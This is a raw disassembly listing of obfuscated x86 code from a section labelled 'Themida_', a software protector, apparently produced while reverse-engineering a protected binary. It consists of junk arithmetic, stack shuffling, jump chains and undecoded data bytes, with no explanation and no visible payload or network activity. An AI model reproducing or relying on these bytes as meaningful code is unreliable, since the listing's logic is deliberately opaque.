		dd 4C48324h, 538CE9h, 59EA8800h, 5552E9h
		db 0
; ---------------------------------------------------------------------------


loc_596211:				; CODE XREF: Themida_:0059E401j
		mov	edi, 2FD87985h
		add	edi, 5AB618ABh
		sub	edi, 42576B48h
		jmp	loc_5A851F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 36E92414h, 0BA000032h, 0FEh,	182668h, 24148900h, 83240C8Bh
		dd 148B04C4h, 5A545224h, 11B40E9h, 4B800h, 0C3290000h
		dd 0E924048Bh, 2330h, 0CDB95153h, 0F7315C2Fh, 88E981D1h
		dd 895E188Dh, 0E94B59CBh, 0D66Bh, 56241489h, 0F96C2ABEh
		dd 5EF2893Bh, 0D2B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_596285:				; CODE XREF: Themida_:005AA1CDj
		dec	ebp
		jmp	loc_59992C
; ---------------------------------------------------------------------------
		db 2Ch
		dd 4D000DBh, 8BDC04DBh,	48E92414h, 56000028h, 0DF9BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5962A1:				; CODE XREF: Themida_:005A3789j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5A6DA3
; ---------------------------------------------------------------------------


loc_5962AF:				; CODE XREF: Themida_:00598162j
		pop	esi
		add	edi, eax
		pop	eax
		push	ecx
		mov	ecx, 5F927AFCh
		sub	ecx, 1A2804ADh
		not	ecx
		or	ecx, 0C105DA7h
		add	ecx, 416A224Dh
		sub	edi, ecx
		jmp	loc_59D13C
; ---------------------------------------------------------------------------
		dd 24048B66h, 13543E9h,	0E9F30100h, 3C1Ch, 8064C380h, 0C3000FC3h
		dd 520FEB80h, 0E2D06CB2h, 0E937E951h, 1C890000h, 0E6B05024h
		dd 10C07E9h, 24048700h,	240C895Ch, 5295E9h, 6B71B800h
		dd 0C5896B94h, 455A2D58h, 0E80121ADh, 0AD455A05h, 0F60FE921h
		dd 89660000h, 59E92404h, 0BEFFFFFBh, 9C20084h, 815EF301h
		dd 553BC1F3h, 6AEB817Ch, 8121A571h, 9F6687EEh, 50DE0131h
		dd 82188CB8h, 8065E962h, 0C2810000h, 0EAF2A6Eh,	14BDE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596366:				; CODE XREF: Themida_:0059A61Dj
		shl	edx, 1
		push	7920h
		jmp	loc_59B8B6
; ---------------------------------------------------------------------------
		dw 3433h
		dd 24343124h, 8B243433h, 8B662424h, 0AB682404h,	0E9000010h
		dd 0BD63h, 0FFFAFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596391:				; CODE XREF: Themida_:005A179Fj
		add	esi, 4
		jmp	loc_5A6143
; ---------------------------------------------------------------------------
		dd 24048F54h, 0BA43E955h, 1C330000h, 8B2BE924h,	3C8B0000h
		dd 4C48124h, 51000000h,	0F7240C87h, 240C87D1h, 5896E9h
		dd 48B6600h, 65A4E924h,	348B0000h, 4C48324h, 5307EAC1h
		dd 0D131CDBBh, 4488E970h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5963E2:				; CODE XREF: Themida_:005A426Dj
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	32F5h
		mov	[esp], edx
		jmp	loc_598A56
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0D61E9h, 0E6C15E00h,	86EE8103h, 298DA387h, 34FF5EF0h
		dd 0C4835E24h, 4EC8304h, 0BE243489h, 794209B7h,	30E9F029h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_596447:				; CODE XREF: Themida_:005A5458j
		sub	bl, 1
		not	bl
		or	bl, 0D4h
		push	ecx
		mov	ch, 0E2h
		neg	ch
		jmp	loc_5AA3D1
; ---------------------------------------------------------------------------


loc_596459:				; CODE XREF: Themida_:005A23C0j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A7AA9
; ---------------------------------------------------------------------------


loc_596464:				; CODE XREF: Themida_:0059E6D3j
		add	ebp, 0CE4CBAEEh
		jmp	loc_5A0BA6
; ---------------------------------------------------------------------------
		db 81h
		dd 0BC06EDEDh, 43ED816Ch, 2DF6DE58h, 358B72FDh,	0FD05E829h
		dd 5D358B72h, 1D4A6840h, 3C890000h, 76BE5624h, 0E9774C49h
		dd 39A1h
; ---------------------------------------------------------------------------


loc_59649C:				; CODE XREF: Themida_:0059F57Ej
		or	edx, eax
		shl	edx, 1
		push	183Bh
		jmp	loc_596722
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 41BBAD4Bh, 7DB9EF81h, 0CF012179h, 7DB9C781h,	38E92179h
		dd 83000030h, 5F5304C4h, 81241C8Bh, 4C4h, 31EF3100h, 45EF31FDh
		dd 43AAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5964DD:				; CODE XREF: Themida_:005A35ECj
		push	ecx
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5A7AC2
; ---------------------------------------------------------------------------
		db 31h
		dd 0FEBCE9F9h, 8F5EFFFFh, 0E95C2404h, 0F12h, 8904EC83h
		dd 0BB53243Ch, 4DB27E05h, 0B27E09BFh, 0E0C7814Dh, 29243E02h
		dd 0FA8EE9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59651A:				; CODE XREF: Themida_:005A5A35j
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	edx
		push	575Ah
		mov	[esp], esp
		push	2B90h
		mov	[esp], edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	edx
		push	ebp
		mov	ebp, 75483BF7h
		push	edi
		mov	edi, 0
		sub	edi, ebp
		xchg	edi, ebp
		pop	edi
		xor	ebp, 8AB7C40Dh
		add	edx, ebp
		pop	ebp
		jmp	loc_59B793
; ---------------------------------------------------------------------------
		db 5Ah,	33h, 34h
		dd 24343124h, 8B243433h, 24D32424h, 15E99C24h, 52FFFFF9h
		dd 0F46B0BAh, 4EAC127h,	8108E2C1h, 6D2F96C2h, 0ECC28119h
		dd 29F3F7C8h, 0DFE8E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596596:				; CODE XREF: Themida_:0059BA82j
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		jmp	loc_5A217E
; ---------------------------------------------------------------------------
		db 96h
		dd 4576BF57h, 0E7811C13h, 57936EB0h, 6203B951h,	0E2E95AA4h
		dd 290000EEh, 0AEBA52F7h, 0E924953Bh, 12FE4h
; ---------------------------------------------------------------------------


loc_5965C8:				; CODE XREF: Themida_:005A45CAj
		sub	bl, 0CCh
		add	bl, 0Ah
		push	dword ptr [esp]
		jmp	loc_596AC2
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 6F706224h, 82685D03h, 0E900006Bh, 420Bh
; ---------------------------------------------------------------------------


loc_5965E8:				; CODE XREF: Themida_:0059ECD7j
		mov	edi, esp
		add	edi, 4
		jmp	loc_59664E
; ---------------------------------------------------------------------------
aI4SS		db '‰4$é<é',0
		dd 5AD10100h, 0E9240C87h, 59Bh
; ---------------------------------------------------------------------------


loc_596608:				; CODE XREF: Themida_:005A8EAFj
		pop	ecx
		push	6E62h
		mov	[esp], edx
		push	esi
		mov	esi, 0BEE76E0h
		mov	edx, 6F676D0Fh
		dec	edx
		add	edx, 9C8709D6h
		sub	edx, 4EBD3388h
		jmp	loc_5A736F
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0F068243Ch, 89000063h, 0F668241Ch, 8900004Fh, 4812424h
		dd 424h, 2D39E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59664E:				; CODE XREF: Themida_:005965F0j
		push	ebx
		jmp	loc_59FAC9
; ---------------------------------------------------------------------------
aUPNUxqTsD	db 'Àã',8,'P´n(ãXQµté',0Dh,'¤',0
		dd 241C8B00h, 4C481h, 2B680000h, 8900006Ah, 0ECBD242Ch
		dd 57646854h, 6154DFBFh, 0E9C78105h, 0E9663828h, 14C85h
		dd 4C481h, 61E90000h
		db 2, 1, 0
; ---------------------------------------------------------------------------


loc_596697:				; CODE XREF: Themida_:005A2C09j
		pop	esp
		jmp	loc_5A67F1
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0E904C483h, 8DCCh
; ---------------------------------------------------------------------------


loc_5966A8:				; CODE XREF: Themida_:005AA753j
		xor	edi, 0E916AE7Eh
		mov	ebp, edi
		pop	edi
		push	eax
		mov	eax, 24FC789Eh
		sub	eax, 2EB70028h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 29DB313Eh
		sub	ebx, 759A14Ah
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	ebp, eax
		mov	eax, [esp]
		jmp	loc_5A17EF
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 0E1045966h, 4C780h, 57BE9C7h, 0EC810000h, 4,	81243C89h
		dd 4ECh, 24248900h, 8B59E9h, 4C48100h, 0E9000000h, 10C0Bh
		dd 0B5BF6657h, 6976E97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596722:				; CODE XREF: Themida_:005964A5j
		mov	[esp], eax
		mov	eax, 1
		jmp	loc_597496
; ---------------------------------------------------------------------------


loc_59672F:				; CODE XREF: Themida_:00596F3Bj
		pop	ebp
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	1DB5h
		jmp	loc_5A9926
; ---------------------------------------------------------------------------


loc_596740:				; CODE XREF: Themida_:005982AAj
		push	31DC1F88h
		pop	ebx
		sub	[esp+4], ebx
		pop	ebx
		pop	ebx
		add	ebx, 31DC1F88h
		pop	edx
		mov	ecx, 2B505699h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59B6D9
; ---------------------------------------------------------------------------
		db 89h
		dd 4BA52E7h, 1000000h, 0EF815AD7h, 2, 5C243C87h, 242C8966h
		dd 13B86650h, 0BB665305h, 50662EE7h, 54DFB866h,	66C32966h
		dd 0D3F76658h, 0D375E9h, 5132B800h, 0E0C125AAh,	0E9D0F708h
		dd 10E50h, 6A8E181h, 0B8504DEEh, 79204A3Fh, 0E44C3B35h
		dd 58C12931h, 0C2E9CD01h, 800000DBh, 0FA88F5F7h, 0F7EA805Bh
		dd 1463EE9h, 0EB815900h, 5C56185Ah, 0C381F301h,	5C56185Ah
		dd 4C3815Eh, 33000000h,	1C31241Ch, 23AAE924h, 4FB80001h
		dd 296CEE5Ch, 0E9082444h, 82D1h, 81E68956h, 4C6h, 0CCF9E900h
		dd 48F0000h, 0BD555C24h, 4, 297E957h, 18BA0000h, 29DD8B03h
		dd 2434FFD5h, 4C4815Ah,	89000000h, 2434FFEAh, 0FE52E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59683A:				; CODE XREF: Themida_:0059E49Fj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59EBEC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4FC78100h, 0F775DB2Ah,	0FFC783D7h, 94D9C781h
		dd 0F831A8C4h, 81243C8Bh, 4C4h,	66C33100h, 8300B60Fh, 0C8904ECh
		dd 4EC8324h, 83242489h,	8B042404h, 0C483240Ch, 0C6E95204h
		dd 88000108h, 4BB259C8h, 0F6E9C228h
		db 1Ah,	1, 0
; ---------------------------------------------------------------------------


loc_59689B:				; CODE XREF: Themida_:005AA1AEj
		mov	[esp], esi
		mov	esi, 1Ch
		push	3A6Ch
		mov	[esp], ebp
		mov	ebp, esi
		sub	esp, 4
		mov	[esp], ebp
		pop	edx
		pop	ebp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A6DD5
; ---------------------------------------------------------------------------


loc_5968C1:				; CODE XREF: Themida_:0059A78Aj
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
aIuht		db '‰ãht/',0
		align 2
		dw 2C89h
		dd 4BD24h, 4AE90000h
		db 3Ah,	1, 0
; ---------------------------------------------------------------------------


loc_5968EB:				; CODE XREF: Themida_:005A2CC2j
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_59FC12
; ---------------------------------------------------------------------------
		db 50h,	88h, 0D0h
		dd 5358C388h, 88CE8852h, 0DA885AF3h, 0A932E9h, 0DFF18100h
		dd 0E903AA06h, 3B4Fh, 11B9515Dh, 81194602h, 971479F1h
		dd 0B66EE937h, 3C870000h, 0FBE95C24h, 83000010h, 2C8704C5h
		dd 0BE565C24h, 4A7D694Ch, 6C36E9h, 5C5E0500h, 0F0296DE3h
		dd 0E35C5E2Dh, 0E8295E6Dh, 25C1BE56h, 0CE812C0Ch, 76D1113Ch
		dd 0A3E9D6F7h, 0AD00004Ah, 4EC81h, 1C890000h, 2570BB24h
		dd 0B8503282h, 2E0430Eh, 0B795E9h, 26800h, 1C8B0000h, 4C48324h
		dd 73CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_596995:				; CODE XREF: Themida_:005A02FFj
		mov	ebp, esi
		pop	esi
		push	edx
		jmp	loc_5A8377
; ---------------------------------------------------------------------------
aXs_		db ')ÃXé_}',0
		align 2
		dw 1C89h
aS?5		db '$é?5',0
		align 2
		dw 0F281h
		dd 0BB5081CEh, 1B7FE9h,	96E18100h, 8132670Dh, 40480E9h
		dd 0EEC38110h, 810A1B2Dh, 1969A1C3h, 56CB0148h,	1523B850h
		dd 0E8C12C3Bh, 0E0C14803h, 35D8F704h, 63722EB2h, 74EEDB2Dh
		dd 0A5E1E974h, 34FF0000h, 2434FF24h, 5F3FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5969FD:				; CODE XREF: Themida_:005A181Aj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebp
		push	5ADCh
		mov	[esp], esi
		push	eax
		mov	eax, 160076B5h
		mov	esi, eax
		jmp	loc_5A1D35
; ---------------------------------------------------------------------------
		dd 50241489h, 4A31E956h
		db 1, 0
; ---------------------------------------------------------------------------


loc_596A3E:				; CODE XREF: Themida_:005A8F55j
		sub	ebp, 0FFFFFFFFh
		jmp	loc_59E6E8
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 0E0540F3h, 3C7DE9h, 71CE8000h, 3032C680h, 665A66F0h
		dd 0CC7AE951h, 9D680000h, 8B3A8439h, 8952240Ch,	4C281E2h
		dd 81000000h, 4C2h, 24148700h, 0FC37E9h, 0CB005B00h, 240C8B66h
		dd 2C481h, 0C3280000h, 83F7EB80h, 148904ECh, 0C0B55124h
		dd 0FFF768E9h, 4C381FFh, 83000000h, 1C3304C3h, 241C3124h
		dd 4AB5E9h, 110EBF00h, 0FA2915D4h, 0C18AE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596AC2:				; CODE XREF: Themida_:005965D1j
		pop	eax
		add	esp, 4
		xor	al, bl
		mov	ebx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 78h
		dd 565B2B46h, 0F189C689h, 0EBE9585Eh, 50000045h, 94E9E089h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_596AFB:				; CODE XREF: Themida_:0059D355j
		mov	ebx, 4
		jmp	loc_59D984
; ---------------------------------------------------------------------------


loc_596B05:				; CODE XREF: Themida_:005A69D2j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 123B2068h
		add	[esp+4], esi
		pop	esi
		jmp	loc_597216
; ---------------------------------------------------------------------------
aLSk		db '‹$$銶',0
		dd 287BB200h, 0CAFE5BDAh, 13E868h, 24048900h, 0CCFE10B4h
		dd 305CEC80h, 2864E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596B4A:				; CODE XREF: Themida_:00596F7Aj
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		sub	eax, 70753E6Ch
		pop	ebp
		push	0FBDh
		jmp	loc_59A7A2
; ---------------------------------------------------------------------------


loc_596B7C:				; CODE XREF: Themida_:00597118j
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5AA16D
; ---------------------------------------------------------------------------
aItss		db '‰âésº',0
		dw 2800h
aSsdt		db 'ØSé¤T',0
		dw 5C00h
		dd 8B2434FFh, 0C4812404h, 4, 398FE950h
		db 1, 0
; ---------------------------------------------------------------------------


loc_596BB6:				; CODE XREF: Themida_:0059CE29j
		push	esi
		jmp	loc_5A9B09
; ---------------------------------------------------------------------------
		dd 5966EB28h, 805CEB80h, 0C3001EC3h, 0FE26B450h, 295BE9C4h
		dd 0E95C0000h, 878h, 240C8B66h,	81E38953h, 4C3h, 4EB8300h
		dd 5C241C87h, 0C663E9h
		db 0
; ---------------------------------------------------------------------------


loc_596BF1:				; CODE XREF: Themida_:005AA238j
		pop	edi
		neg	edi
		sub	edi, 69D64644h
		dec	edi
		add	edi, 0E7B87111h
		jmp	loc_5A1AB3
; ---------------------------------------------------------------------------


loc_596C06:				; CODE XREF: Themida_:005A224Bj
		mov	esi, [esp]
		jmp	loc_59FD2E
; ---------------------------------------------------------------------------


loc_596C0E:				; CODE XREF: Themida_:005A2044j
		inc	edx
		push	ebx
		mov	ebx, 25F208A8h
		jmp	loc_5A50C7
; ---------------------------------------------------------------------------


loc_596C1A:				; CODE XREF: Themida_:0059CE3Aj
		mov	esi, [esp]
		jmp	loc_5A89D5
; ---------------------------------------------------------------------------
		dw 558h
		dd 4, 0B077E956h, 0E9590000h, 0F188h, 4BE9565Dh
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_596C3B:				; CODE XREF: Themida_:005A01A4j
		pop	esp
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	1B7Ah
		mov	[esp], ebx
		push	esp
		jmp	loc_59D58D
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 7FE16F61h, 853FE9h, 24148900h, 6D46B0BAh, 5AD70906h
		dd 0FEA0E9h, 4EC8100h, 89000000h, 75B42404h, 7DE9DCF6h
		dd 0BB000082h, 4, 476CE956h, 0EB800000h, 0E9C328E9h, 10EC5h
		dd 2414F755h, 1881E9h, 62F58100h, 0E94E4876h, 106E3h, 0E959CB01h
		dd 50E8h, 0E95FFE89h, 8C1Eh, 24048B66h,	2441E955h, 2ABB0001h
		dd 81B75E46h, 0EF2AE5EBh, 0E9EB2935h, 5977h, 5C240487h
		dd 6D6A68h, 22BAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596CE6:				; CODE XREF: Themida_:005A7B38j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		inc	ebp
		jmp	loc_5A944E
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 3C8BF801h, 0E2895224h, 4C281h, 0C2810000h, 4, 0E9241487h
		dd 4273h, 0E93AC781h, 0FD311C7Fh, 8BEB015Fh, 0C483242Ch
		dd 0E6E6804h, 4890000h,	26824h,	81580000h, 865808C3h, 85C38145h
		dd 1305A7Ah, 85EB81C3h,	81305A7Ah, 865808EBh, 2FB0E945h
		dd 99BD0001h, 8130115Ch, 0D22202C5h, 0E9DDF717h, 0A743h
		dd 4797E981h, 0D1012B2Fh, 165368h, 24048900h, 600FE568h
		dd 72355804h, 812F4F48h, 451F7EE9h, 0E9C10159h,	9C4Ah
; ---------------------------------------------------------------------------


loc_596D90:				; CODE XREF: Themida_:005A4AF0j
		mov	ebp, 1F5F55B3h
		push	ebp
		mov	ebp, 534D4A72h
		sub	ecx, ebp
		pop	ebp
		sub	ecx, ebp
		add	ecx, 534D4A72h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_59F6F7
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 9EB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_596DC5:				; CODE XREF: Themida_:005A4C76j
		push	ecx
		mov	ecx, 2671111Dh
		neg	ecx
		and	ecx, 579D2C30h
		push	ebx
		mov	ebx, 49BD2078h
		not	ebx
		add	ebx, 9B494C95h
		sub	ecx, 28DE5BC4h
		sub	ecx, ebx
		add	ecx, 28DE5BC4h
		pop	ebx
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_59FDF4
; ---------------------------------------------------------------------------
		dw 8966h
		dd 85E92404h, 81FFFFF0h, 6FE8A6EDh, 0E9EA01E6h,	427Fh
; ---------------------------------------------------------------------------


loc_596E14:				; CODE XREF: Themida_:00596EF6j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5960EA
		push	ecx
		mov	ecx, esp
		jmp	loc_599A90
; ---------------------------------------------------------------------------


loc_596E26:				; CODE XREF: Themida_:0059DE30j
		mov	ebx, 26BA0A1Bh
		and	ebx, 2A5257EBh
		inc	ebx
		xor	ebx, 66F9599Ah
		shl	ebx, 2
		xor	ebx, 6CB32665h
		and	edi, ebx
		jmp	loc_5AA4A6
; ---------------------------------------------------------------------------
		dd 1C8BDD29h, 88E0E924h, 2BB90000h, 0BA132A1Eh,	132A1E6Bh
		dd 8159CA31h, 176DE4EAh, 7221E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596E6A:				; CODE XREF: Themida_:0059794Ej
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_59CCE2
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 2DF0015Fh, 32987352h, 5E2434FFh, 5004C483h, 123022B8h
		dd 64C38163h, 296D660Ch, 64EB81C3h, 586D660Ch, 8152C301h
		dd 4ECh, 0E2D2E900h, 0EC810000h, 4, 0A889E9h, 2474FF00h
		dd 0F47CE904h, 0F7890000h, 0A5AE9h, 4BB00h, 0D9010000h
		dd 3E5AE95Bh, 1C890001h, 73B65224h, 1148EE9h, 0AB0F6600h
		dd 0E99C2404h, 90Dh, 0E9DE015Ah, 2933h
; ---------------------------------------------------------------------------


loc_596EF4:				; CODE XREF: Themida_:005A99FAj
		or	ebx, ebx
		jnz	loc_596E14
		push	2EFEh
		mov	[esp], ebx
		mov	ebx, edx
		push	ecx
		jmp	loc_5A8C52
; ---------------------------------------------------------------------------
		dd 1D1068h, 69796800h, 24890000h, 24048324h, 24048F04h
		dd 10C40E9h
		db 0
; ---------------------------------------------------------------------------


loc_596F25:				; CODE XREF: Themida_:005A4C2Cj
		pop	esp
		push	dword ptr [esp]
		jmp	loc_59FD4A
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 7710E9h
		db 0
; ---------------------------------------------------------------------------


loc_596F35:				; CODE XREF: Themida_:005976F6j
		add	esp, 4
		jmp	loc_59672F
; ---------------------------------------------------------------------------


loc_596F40:				; CODE XREF: Themida_:005AA0E8j
		mov	eax, edi
		pop	edi
		add	edi, eax
		pop	eax
		push	570Bh
		mov	[esp], ebx
		mov	ebx, 23672BDFh
		sub	ebx, 0FFFFFFFFh
		not	ebx
		sub	ebx, 0DC98D41Bh
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		push	13C93EAEh
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 63BC00C2h
		jmp	loc_596B4A
; ---------------------------------------------------------------------------
		db 87h
		dd 0F6E9243Ch, 810000BCh, 4C4h,	75E95700h
		db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_596F93:				; CODE XREF: Themida_:0059EA5Aj
		xchg	ebp, ebx
		and	ebx, 1AFB2EAEh
		jmp	loc_597A85
; ---------------------------------------------------------------------------
		dd 806CF280h, 0D428D2EAh, 98E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_596FAD:				; CODE XREF: Themida_:005A68A6j
		pop	esi
		not	edi
		add	edi, 0A3257A2Eh
		push	ebp
		jmp	loc_59A054
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 12E71h, 0FFD9C181h, 0CF89FFFFh, 0EC68E959h
		dd 8F2C0000h, 0C60CEB04h, 403E8C0h, 4825E9B0h, 8B540000h
		dd 0C4832434h, 4C68104h, 81000000h, 4EEh, 24348700h, 2424895Ch
		dd 9EE4E9h, 240C3300h, 0E9240C31h, 230h, 0E9028F66h, 0FFFFEE78h
; ---------------------------------------------------------------------------


loc_597014:				; CODE XREF: Themida_:00596178j
		push	dword ptr [esp]
		pop	ebp
		push	edi
		push	7747h
		mov	[esp], esp
		jmp	loc_597ADE
; ---------------------------------------------------------------------------
		dw 8CBEh
		dd 2D60262Eh, 23975B49h, 4905F001h, 5E23975Bh, 2246E959h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59703E:				; CODE XREF: Themida_:0059E50Cj
		neg	ecx
		add	ecx, 0BA6BFC4Bh
		add	eax, ecx
		pop	ecx
		push	edi
		jmp	loc_5A7EBC
; ---------------------------------------------------------------------------
		dd offset dword_44B1A4+38DDh
		db 0D8h
		dd 4EE81C3h, 0E94E9463h, 6E25h,	348BF131h, 4C48124h, 29000000h
		dd 48759C8h, 4895C24h, 5376B824h, 0C20171D4h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_598F89
; ---------------------------------------------------------------------------


loc_59708E:				; CODE XREF: Themida_:005A4D41j
		mov	ebp, [esp]
		jmp	loc_5A008D
; ---------------------------------------------------------------------------


loc_597096:				; CODE XREF: Themida_:005AB2BBj
		sub	ecx, ebx
		push	ecx
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, 0A12BCCC4h
		push	eax
		mov	eax, ebx
		jmp	loc_5A2B42
; ---------------------------------------------------------------------------
		dw 483h
		dd 34FF0424h, 0C4815E24h, 4, 8904EC83h,	34BA2414h, 833EF04Ch
		dd 0C28101EAh, 0C10FB3D1h, 2692C681h, 0EE815C17h, 36C75CE5h
		dd 1E70C681h, 8BE95015h
		db 3Ah,	1, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A635F
; ---------------------------------------------------------------------------
aBLVgsip	db '¹',0Bh,'$¾ É«<‚G驯',0
		db 0
; ---------------------------------------------------------------------------


loc_597105:				; CODE XREF: Themida_:005A2ACAj
		push	5977h
		mov	[esp], edx
		push	ecx
		mov	ecx, 58D631BCh
		mov	edx, ecx
		push	dword ptr [esp]
		jmp	loc_596B7C
; ---------------------------------------------------------------------------
		db 5Dh,	5Bh, 0E9h
		dd 1194Fh, 104C483h, 0EA81DAh, 8B5A950Ah, 8950241Ch, 0DE956E0h
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59713B:				; CODE XREF: Themida_:00599099j
		and	eax, esi
		jmp	loc_5A38E7
; ---------------------------------------------------------------------------
		dw 9DBBh
		dd 0E9258631h, 11E18h, 0E9240C33h, 0DB92h
; ---------------------------------------------------------------------------


loc_597154:				; CODE XREF: Themida_:00597F3Cj
		add	edx, esi
		pop	esi
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_59AF2A
; ---------------------------------------------------------------------------
aS_		db '^éš_',0
		dw 5D00h
		dd 0D1F7CF87h, 0F781CF87h, 0AE80CEA7h, 4EC81h, 3C890000h
		dd 5467E924h, 0C4830000h, 23F78104h, 81EAAEE2h,	301F10C1h
		dd 43BCE92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597196:				; CODE XREF: Themida_:0059B678j
		mov	[esp], eax
		jmp	loc_5A2B58
; ---------------------------------------------------------------------------
		dw 0C9BBh
		dd 31039CECh, 241C8BD9h, 8104C483h, 88059BEBh, 5DC38110h
		dd 2943314Bh, 5DEB81CBh, 8143314Bh, 88059BC3h, 0BF575910h
		dd 63041DEDh, 0DEEF81h,	0FF686E7Eh, 89000051h, 28BB241Ch
		dd 815B6860h, 3F4825CBh, 0C0E38125h, 0E9731241h, 0C21Bh
		dd 3C8BFE01h, 4C48324h,	5C243487h, 24048B66h, 7EBCE9h
		dd 0FEC3B600h, 80EED0CEh, 0EEC02AC6h, 0B994E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597216:				; CODE XREF: Themida_:00596B20j
		sub	dword ptr [esp], 6D59074Bh
		sub	dword ptr [esp], 2CD30A68h
		sub	[esp], eax
		add	dword ptr [esp], 2CD30A68h
		push	7FD7h
		mov	[esp], eax
		push	ecx
		jmp	loc_598B26
; ---------------------------------------------------------------------------
		dd 5C240C33h, 54243C89h, 0BA52565Fh, 5812469Fh,	8103EAC1h
		dd 264EDDF2h, 5F2816Ah,	817BAB46h, 6DDE8DEAh, 0E9D689C9h
		dd 60C3h, 5C24048Fh, 52ACE952h,	0C1810000h, 4, 4C181h
		dd 0C870000h, 0DE015C24h, 94D4E9h, 0E4EA8100h, 5664B907h
		dd 2402D3BEh, 26A5E91Bh, 0C7810000h, 1,	5E1FF781h, 0FD214A2Ah
		dd 8EDC15Fh, 5702EDC1h,	8904EC83h, 81B9240Ch, 0E9012A33h
